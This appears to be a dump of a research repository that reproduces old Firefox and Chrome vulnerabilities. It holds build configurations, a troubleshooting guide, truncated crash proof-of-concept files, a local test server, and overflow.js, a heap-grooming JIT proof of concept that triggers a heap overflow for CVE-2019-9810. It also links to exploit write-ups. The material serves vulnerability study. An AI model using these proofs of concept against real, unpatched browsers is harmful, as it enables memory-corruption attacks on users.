ac_add_options --disable-optimize 31 | # ac_add_options --enable-debug 32 | 33 | # other options 34 | ac_add_options --enable-valgrind 35 | ac_add_options --disable-profiling 36 | ac_add_options --enable-tests 37 | 38 | # fuzzing (optional) 39 | ac_add_options --enable-fuzzing -------------------------------------------------------------------------------- /Firefox/mozconfig_dbg: -------------------------------------------------------------------------------- 1 | mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/objdir-ff-dbg 2 | 3 | ac_add_options --disable-crashreporter 4 | ac_add_options --disable-elf-hack 5 | 6 | # Settings for an opt build 7 | # ac_add_options --enable-optimize="-g -O2" 8 | # ac_add_options --disable-debug 9 | 10 | # Settings for a debug build 11 | ac_add_options --disable-optimize 12 | ac_add_options --enable-debug -------------------------------------------------------------------------------- /Firefox/others/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7802/crash.html: -------------------------------------------------------------------------------- 1 | 29 | 30 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7806/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2017-7806/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7806/crash.html: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7806/data.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7809/crash.html: -------------------------------------------------------------------------------- 1 | 30 | 31 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7818/crash.html: -------------------------------------------------------------------------------- 1 | 29 | 30 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7819/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2017-7819/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7819/crash.html: -------------------------------------------------------------------------------- 1 | 57 | 58 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7819/crash.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7819/crash.xsl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |

My CD Collection

8 | 9 | 10 |
xxxx
11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2017-7819/text.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /Firefox/others/CVE-2018-18500/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2018-18500/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-18500/crash.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |

log:

6 |

Sleeping...

7 | 264 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-18500/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 3 | import SocketServer 4 | import time 5 | 6 | class S(BaseHTTPRequestHandler): 7 | def _set_headers(self): 8 | self.send_response(200) 9 | self.send_header('Content-type', 'text/html') 10 | self.end_headers() 11 | 12 | def do_GET(self): 13 | self._set_headers() 14 | if self.path == '/crash.html': 15 | self.wfile.write(open('/home/ug16zy2/CVE-2018-18500/crash.html', 'r').read()) 16 | elif self.path == '/delay.xml': 17 | time.sleep(2) 18 | self.wfile.write("") 19 | elif self.oath == '/test': 20 | time.sleep(2) 21 | else: 22 | self.wfile.write("

open /crash.html

") 23 | 24 | def do_HEAD(self): 25 | self._set_headers() 26 | 27 | def run(server_class=HTTPServer, handler_class=S, port=80): 28 | server_address = ('127.0.0.1', port) 29 | httpd = server_class(server_address, handler_class) 30 | print 'Starting httpd...' 31 | httpd.serve_forever() 32 | 33 | if __name__ == "__main__": 34 | from sys import argv 35 | 36 | if len(argv) == 2: 37 | run(port=int(argv[1])) 38 | else: 39 | run() -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5091/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2018-5091/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5091/crash.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5098/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2018-5098/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5098/crash.html: -------------------------------------------------------------------------------- 1 | 37 | 38 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5098/data.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5099/crash.html: -------------------------------------------------------------------------------- 1 | 29 | 30 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5099/data.html: -------------------------------------------------------------------------------- 1 |
-------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5101/crash.html: -------------------------------------------------------------------------------- 1 | 20 | 21 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5103/crash.html: -------------------------------------------------------------------------------- 1 | 24 | 25 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5128/crash.html: -------------------------------------------------------------------------------- 1 | 24 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5154/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2018-5154/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5154/crash.html: -------------------------------------------------------------------------------- 1 | 34 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2018-5154/test.svg: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | abcdef 15 | 16 | Bla bla bla bla bla 17 | 18 | x x x 19 | 20 | 21 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2019-9810/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZihanYe/web-browser-vulnerabilities/ce0cef3971119d7916c7170c3ec377b0b3a000ac/Firefox/others/CVE-2019-9810/.DS_Store -------------------------------------------------------------------------------- /Firefox/others/CVE-2019-9810/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-9810 exploitation 2 | 3 | Firefox version: 63.0.3 4 | 5 | Keyword: IonMonkey, Heap Overflow 6 | 7 | Description: Incorrect alias information in IonMonkey JIT compiler for Array.prototype.slice method may lead to missing bounds check and a buffer overflow 8 | 9 | overflow.js gives a heap overflow of an array (victim) 10 | 11 | Reference 12 | 13 | [1] https://www.exploit-db.com/exploits/46605 14 | 15 | [2] https://github.com/0vercl0k/CVE-2019-9810 16 | -------------------------------------------------------------------------------- /Firefox/others/CVE-2019-9810/overflow.js: -------------------------------------------------------------------------------- 1 | let size = 0x100; 2 | 3 | garr = []; 4 | j = 0; 5 | function gc(){ 6 | var tmp = []; 7 | for(let i = 0;i < 0x20000;i++){ 8 | tmp[i] = new Uint32Array(size * 2); 9 | for(let j = 0;j < (size*2);j+=2){ 10 | tmp[i][j] = 0x12345678; 11 | tmp[i][j+1] = 0xfffe0123; 12 | } 13 | } 14 | garr[j++] = tmp; 15 | } 16 | 17 | let arr = [{},0x49505049]; 18 | 19 | let obj = {}; 20 | 21 | obj[Symbol.species] = function(){ 22 | console.log("inside obj"); 23 | victim.length = 0x20; // length of victim should be 0x20 24 | for (let k = 0; k<0x20; k++){ 25 | victim[k] = 0x44454544; 26 | } 27 | console.log(victim.length); 28 | for(let i = 0;i < 0x2000;i++){ 29 | gvictim[i].length = 0x0; 30 | gvictim[i] = null; 31 | } 32 | gc(); 33 | return [0x45464645]; 34 | } 35 | 36 | let gvictim = []; 37 | 38 | for(let i = 0;i < 0x1000;i++){ 39 | gvictim[i] = [1.1,2.2]; 40 | gvictim[i].length = size; 41 | gvictim[i].fill(3.3); 42 | } 43 | 44 | let victim = [0x46474746,0x47484847]; 45 | victim.length = size; 46 | victim.fill(0x48494948); 47 | 48 | for(let i = 0x1000;i < 0x2000;i++){ 49 | gvictim[i] = [1.1,2.2]; 50 | gvictim[i].length = size; 51 | gvictim[i].fill(3.3); 52 | } 53 | 54 | function fake(arg){ 55 | } 56 | for(let i = 0;i < size;i++){ 57 | fake["x"+i.toString()] = 2.2; 58 | } 59 | 60 | function jit(){ 61 | victim[1] = 0x45464645; 62 | arr.slice(); 63 | // lengt of victim was changed to 0x20 64 | // but bound check ommited 65 | return victim[0x21]; // overflow 66 | } 67 | 68 | flag = 0; 69 | 70 | 71 | for(let i = 0;i < 0x10000;i++){ 72 | xx = jit(); 73 | } 74 | 75 | Math.cos(1); 76 | console.log("pwn"); 77 | arr.constructor = obj; 78 | Array.isArray(victim); 79 | res = jit(); 80 | console.log(res) 81 | Math.cos(1); -------------------------------------------------------------------------------- /Firefox/troubleshooting.md: -------------------------------------------------------------------------------- 1 | # Troubleshooting 2 | 3 | :hammer_and_pick::hammer_and_pick::hammer_and_pick::hammer_and_pick::hammer_and_pick: 4 | 5 | I have run into many errors especially when trying to build older versions of Firefox (it was painful). Below are solutions I found. 6 | 7 | 8 | 1. **Could not find gconf-2.0** 9 | ``` 10 | sudo apt-get install gconf-2.0 11 | sudo apt-get install -y libgconf2-dev 12 | ``` 13 | 14 | *** 15 | 16 | 2. **configure error with sed 4.3: sed: character class syntax is [[:space:]], not [:space:]** 17 | 18 | - open build/autoconf/icu.m4 19 | 20 | - modify manually according to https://bugzilla.mozilla.org/attachment.cgi?id=8825307&action=diff 21 | 22 | *** 23 | 24 | 3. **anything with rustc/cargo version:** 25 | 26 | It is likely because we are using newer version of rustc now and we need to downgrade it. 27 | 28 | - Find rustc version used at the time of the older version in [Firefox's Rust Update policy](https://wiki.mozilla.org/Rust_Update_Policy_for_Firefox) 29 | 30 | **Either:** 31 | 32 | - run ```$ ~/.cargo/bin/rustup self uninstall``` 33 | 34 | - install: 35 | ``` 36 | $ curl https://sh.rustup.rs -sSf | sh 37 | Choose: 38 | 2) Custom Installation 39 | default host triple 40 | default toolchain 1.22.1 41 | Modify PATH variable? (y/n) n 42 | Then Choose: 43 | 1) Proceed with installation (default) 44 | ``` 45 | 46 | **or** 47 | - install rustup and 48 | 49 | - ```rustup default ``` 50 | 51 | For Firefox 57.0, I had to downgrade rustc to 1.19.0. 52 | 53 | For Firefox 63.0.3, I had to downgrade rustc to 1.28.0. 54 | 55 | *** 56 | 57 | 4. **ASAN build reports gcc compilation error:** 58 | 59 | ```error: inlining failed in call to always_inline ‘memcpy’: function attribute mismatch \__NTH (memcpy (void *\__restrict \__dest, const void *\__restrict \__src,``` 60 | 61 | See https://bugzilla.mozilla.org/show_bug.cgi?id=1422254 62 | 63 | Basically add `-U_FORTIFY_SOURCE` to CFLAGS and CXXFLAGS in mozconfig 64 | 65 | *** 66 | 67 | 5. **Compiler error: undefined reference to dlsym** 68 | 69 | see https://askubuntu.com/questions/454443/how-do-i-deal-with-undefined-reference-to-dlopen-errors-while-compiling-and-us 70 | 71 | add `-Wl,--no-as-needed -ldl` to LDFLAGS in mozconfig 72 | 73 | *** 74 | 75 | 6. During a build with option ---enable-fuzzing, I got **gtest error** 76 | 77 | ```Firefox fatal error: gtest/gtest.h: No such file or directory``` 78 | 79 | I fixed this by adding option --enable-tests 80 | 81 | *** 82 | 83 | 7. During a build with option --enable-fuzzing, I got **error in TestCodeGenBinding** 84 | 85 | ```dom/bindings/TestCodeGenBinding.cpp:34165:9: error: 'class mozilla::dom::TestInterface' has no member named 'PassUnion2'``` 86 | 87 | https://bugzilla.mozilla.org/show_bug.cgi?id=1293516 mentions this error. 88 | 89 | I fixed it with running ```./mach clobber``` and rebuild. 90 | 91 | *** 92 | 93 | 8. **Llvm-config: checking for llvm-config... not found** 94 | 95 | install llvm-config, check if it exists in /usr/bin/ 96 | Add to mozconfig a line: ```export LLVM_CONFIG=“/usr/bin/llvm-config”``` 97 | 98 | *** 99 | 100 | 9. **clang** 101 | 102 | Sudo apt install clang 103 | 104 | *** 105 | 106 | 10. **nodejs version not new enough** 107 | 108 | uninstall nodejs: sudo apt remove nodejs 109 | install nodejs: 110 | 111 | ```https://deb.nodesource.com/setup_8.x | sudo -E bash -``` 112 | 113 | ```sudo apt-get install -y nodejs``` 114 | 115 | *** 116 | 117 | 11. Firefox 56 and 59 crashes at startup with: 118 | 119 | > Assertion failure: false, at /home/user/firefox/security/sandbox/linux/SandboxInfo.cpp:174 120 | 121 | [Bug report](https://bugzilla.mozilla.org/show_bug.cgi?id=1430756) 122 | 123 | Change according to the [fix](https://hg.mozilla.org/mozilla-central/rev/22ce3b9ca9af) 124 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # web-browser-vulnerabilities 2 | 3 | Steps for building old versions of Firefox: [:link:](Firefox/) 4 | 5 | Steps for building old versions of Chrome: [:link:](Chrome/) 6 | 7 | 8 | ## Firefox vulnerabilities 9 | This is a list of vulnerabilities that is reproducible in old versions of Firefox :point_down: 10 | 11 | | CVE ID | Version | Type | Exploited? | Link| 12 | | ---| --- | ---| ---| --- | 13 | | CVE-2017-7784 | 56.0 | UAF | |[:link:](Firefox/CVE-2017-7784)| 14 | | CVE-2017-7828 | 56.0 | UAF | |[:link:](Firefox/CVE-2017-7828)| 15 | | CVE-2018-5093 | 57.0 | heap buffer overflow | |[:link:](Firefox/CVE-2018-5093)| 16 | | CVE-2018-5094 | 57.0 | heap buffer overflow | | [:link:](Firefox/CVE-2018-5094)| 17 | | CVE-2018-5097 | 56.0/57.0 | UAF | | [:link:](Firefox/CVE-2018-5097)| 18 | | CVE-2018-5100 | 56.0/57.0 | UAF | | [:link:](Firefox/CVE-2018-5100)| 19 | | CVE-2018-5102 | 56.0/57.0 | UAF | | [:link:](Firefox/CVE-2018-5102)| 20 | | CVE-2018-5104 | 56.0/57.0 | UAF | | [:link:](Firefox/CVE-2018-5104)| 21 | | CVE-2018-5127 | 57.0 | heap buffer overflow | |[:link:](Firefox/CVE-2018-5127)| 22 | | CVE-2018-5129 | 57.0 | OOB | |[:link:](Firefox/CVE-2018-5129)| 23 | | CVE-2018-12386 | < 61.0 | type confusion | Yes |[:link:](Firefox/CVE-2018-12386)| 24 | | CVE-2018-12387 | < 61.0 | info leak | Yes |[:link:](Firefox/CVE-2018-12387)| 25 | | CVE-2018-18492 | 62.0/63.0 | UAF | |[:link:](Firefox/CVE-2018-18492)| 26 | | CVE-2019-9791 | < 66.0 | type confusion | Yes |[:link:](Firefox/CVE-2019-9791)| 27 | | CVE-2019-9813 | < 66.0.1 | type confusion | |[:link:](Firefox/CVE-2019-9813)| 28 | | CVE-2019-11707 | < 66.0.3 | type confusion | Yes |[:link:](Firefox/CVE-2019-11707)| 29 | 30 | Others to be verified: :point_right: [:link:](Firefox/others/) 31 | 32 | 33 | ## Chrome vulnerabilities 34 | Vulnerabilities in Chrome :point_down: 35 | 36 | | CVE ID | Version | Type | Exploited? | Link| 37 | | ---| --- | ---| ---| --- | 38 | | CVE-2018-6060 | 62.0.3202.75 | UAF | | [:link:](Chrome/CVE-2018-6060) 39 | | CVE-2018-6123 | 68.0.3404.0 | UAF | | [:link:](Chrome/CVE-2018-6123) 40 | | CVE-2019-5786 | 72.0.3626.119 | UAF | | [:link:](Chrome/CVE-2019-5786) 41 | | CVE-2019-5808 | 74.0.3728.0 | UAF | | [:link:](Chrome/CVE-2019-5808) 42 | 43 | 44 | ## Useful links: 45 | 46 | ## General: 47 | 48 | - [Good place for searching CVEs](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=firefox) 49 | 50 | - [List of Javascript Engine vulnerabilities](https://github.com/tunz/js-vuln-db) 51 | 52 | - [Exploitation DB](https://www.exploit-db.com/) 53 | 54 | - [Awesome-browser-exploit](https://github.com/Escapingbug/awesome-browser-exploit) 55 | 56 | ## Firefox: 57 | 58 | ### Basic 59 | 60 | - [Build configuration](https://developer.mozilla.org/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options) 61 | 62 | - [Build with Address Sanitizer](https://firefox-source-docs.mozilla.org/tools/sanitizer/asan.html) 63 | 64 | - [Hacking tips](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Hacking_Tips) 65 | 66 | - [Security Advisories (for finding vulnerabilities)](https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/) 67 | 68 | - [Online code browse](https://searchfox.org/mozilla-beta/source) 69 | 70 | ### Tutorials 71 | 72 | - [Shadow over Firefox](http://www.phrack.org/issues/69/14.html) 73 | 74 | - [Jemalloc](https://medium.com/iskakaushik/eli5-jemalloc-e9bd412abd70) 75 | 76 | - [Jemalloc Exploitation](http://www.phrack.org/issues/68/10.html#article) 77 | 78 | - [Introduction to Spidermonkey exploitation](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/) 79 | 80 | - [Heap manipulation](https://www.usenix.org/legacy/event/woot08/tech/full_papers/daniel/daniel_html/index.html) 81 | 82 | - [Spraying the Heap (Chapter 2: Use-After-Free) – Finding a needle in a Haystack](https://www.fuzzysecurity.com/tutorials/expDev/11.html) 83 | 84 | - [Heap spray](https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/) 85 | 86 | ### Exploitation writeups 87 | 88 | - [CVE-2012-0469: UAF](http://web.archive.org/web/20150121031623/http://www.vupen.com/blog/20120625.Advanced_Exploitation_of_Mozilla_Firefox_UaF_CVE-2012-0469.php) 89 | 90 | - [CVE-2016-9066: cross-map overflow](https://saelo.github.io/posts/firefox-script-loader-overflow.html) 91 | 92 | - [CVE-2016-9079: UAF](https://dangokyo.me/2018/07/29/analysis-on-cve-2016-9079/) 93 | 94 | - [CVE-2016-1960: UAF exploitation](https://www.exploit-db.com/exploits/42484) 95 | 96 | - [CVE-2017-5375: JIT spray RCE](https://www.exploit-db.com/exploits/44293) 97 | 98 | - [CVE-2017-5375: JIT spray writeup](https://rh0dev.github.io/blog/2017/the-return-of-the-jit/) 99 | 100 | - [CVE-2018-18500: UAF](https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-analysis-and-exploitation/) 101 | 102 | - [CVE-2019-9791: Type confusion](https://bugs.chromium.org/p/project-zero/issues/detail?id=1791) 103 | 104 | - [CVE-2019-9810, IonMonkey](https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/) 105 | 106 | - [CVE-2019-9813: Type confusion](https://www.exploit-db.com/exploits/46646) 107 | 108 | - [CVE-2019-11707: Type confusion](https://blog.bi0s.in/2019/08/18/Pwn/Browser-Exploitation/cve-2019-11707-writeup/) 109 | 110 | 111 | ## Chrome 112 | 113 | ### General 114 | 115 | - [Build configuration](https://gitlab.com/noencoding/OS-X-Chromium-with-proprietary-codecs/-/wikis/List-of-all-gn-arguments-for-Chromium-build) 116 | 117 | - [List of command line options](https://peter.sh/experiments/chromium-command-line-switches/) 118 | 119 | - [How Blink works](https://docs.google.com/document/d/1aitSOucL0VHZa9Z2vbRJSyAIsAz24kX8LFByQ5xQnUg/edit?pli=1#) 120 | 121 | - [Allocator](https://chromium.googlesource.com/chromium/src/base/+show/master/allocator/README.md) 122 | 123 | - [Debugging in Linux](https://chromium.googlesource.com/chromium/src/+/81c0fc6d4/docs/linux_debugging.md) 124 | 125 | ### Exploitation writeup 126 | 127 | - [CVE-2019-5786](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-a-chrome-zero-day-cve-2019-5786/) 128 | 129 | Happy Hacking :trollface: --------------------------------------------------------------------------------